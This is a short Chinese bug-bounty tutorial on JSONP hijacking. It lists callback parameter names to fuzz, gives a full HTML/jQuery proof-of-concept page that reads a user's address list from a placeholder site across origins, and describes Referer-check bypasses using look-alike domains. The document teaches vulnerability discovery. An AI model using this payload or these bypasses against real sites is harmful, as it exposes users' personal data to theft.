0x00 介绍

    平常挖洞的时候,会遇到大量的json数据的格式,其中包含了用户的敏感信息

    当然一般评级是:中低危

    0x01 挖掘方式

    (1)burp 拦截所有的数据包,在历史流量里直接搜索jsonp、callback等关键字
    【20181110】【挖洞姿势】Jsonp劫持 - 图1
    (2)jsonp fuzz

    当遇到json数据返回的时候,且包含敏感信息:如姓名、手机号、身份证、银行卡等等信息时

    但原本请求并不是jsonp的请求,因为开发者可能为了方便会预留接口

    callback=attack
    cb=attack
    call=attack
    jsonp=attack
    jsonpcallback=attack
    jsonpcb=attack
    json=attack
    jsoncallback=attack
    jcb=attack

    0x02 利用payload

    1. <html>
    2. <head>
    3. <title>跨域测试</title>
    4. <script src="https://cdn.bootcss.com/jquery/3.2.1/jquery.js"></script>
    5. <script>
    6. $(document).ready(function () {
    7. $.ajax({
    8. url: "https://www.xxxx.com/apic/user/address/list?type=1",
    9. type: "GET",
    10. dataType: "jsonp", //指定服务器返回的数据类型
    11. success: function (data) {
    12. var result = JSON.stringify(data); //json对象转成字符串
    13. $("#text").val(result);
    14. }
    15. });
    16. });
    17. </script>
    18. </head>
    19. <body>
    20. <textarea id="text" style="width: 400px; height: 100px;"></textarea>
    21. </body>
    22. </html>

    0x03绕过reffer检测

    设置reffer为空、或者通过baidu.com.xxx.com 来绕过
    (1)修改本地的hosts文件 baidu.com.xxx.com 127.0.0.1
    (2)通过修改在线的dns解析 baidu.com.xxx.com 118.118.118.118